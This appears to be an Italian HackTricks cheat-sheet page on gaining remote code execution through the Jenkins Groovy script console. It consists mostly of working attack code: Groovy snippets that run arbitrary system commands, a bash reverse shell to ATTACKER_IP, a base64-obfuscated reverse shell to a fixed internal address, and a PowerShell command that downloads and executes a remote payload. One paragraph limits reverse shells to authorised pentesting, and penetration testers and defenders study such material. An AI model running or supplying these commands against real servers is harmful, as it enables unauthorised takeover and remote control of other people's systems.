Jenkins RCE with Groovy Script

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Jenkins RCE con Groovy Script

Questo è meno rumoroso rispetto alla creazione di un nuovo progetto in Jenkins

  1. Vai a path_jenkins/script

  2. All'interno della casella di testo, inserisci lo script

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

È possibile eseguire un comando utilizzando: cmd.exe /c dir

In linux puoi fare: "ls /".execute().text

Se hai bisogno di utilizzare virgolette e apici singoli all'interno del testo, puoi utilizzare """PAYLOAD""" (virgolette doppie triple) per eseguire il payload.

Un altro utile script groovy è (sostituisci [INSERISCI COMANDO]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Shell inversa in Linux

Una shell inversa è una tecnica utilizzata dai pentester per ottenere l'accesso remoto a un sistema Linux. Consiste nell'instaurare una connessione da un sistema di attaccanti a un sistema di destinazione, consentendo al pentester di eseguire comandi sul sistema di destinazione come se fosse presente fisicamente.

Per creare una shell inversa in Linux, è possibile utilizzare il seguente comando:

bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1

Sostituisci ATTACKER_IP con l'indirizzo IP del sistema di attaccanti e ATTACKER_PORT con la porta desiderata per la connessione inversa.

Una volta eseguito il comando, il sistema di destinazione si connetterà al sistema di attaccanti e fornirà una shell interattiva. Il pentester potrà quindi eseguire comandi sul sistema di destinazione come se fosse presente fisicamente.

È importante notare che l'utilizzo di una shell inversa per scopi non autorizzati è illegale e può comportare conseguenze legali. La shell inversa dovrebbe essere utilizzata solo per scopi di pentesting autorizzati e con il consenso del proprietario del sistema.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Shell inversa in Windows

È possibile preparare un server HTTP con una shell inversa di PowerShell e utilizzare Jenkins per scaricarla ed eseguirla:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Puoi automatizzare questo processo con questo script.

Puoi utilizzare MSF per ottenere una shell inversa:

msf> use exploit/multi/http/jenkins_script_console
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated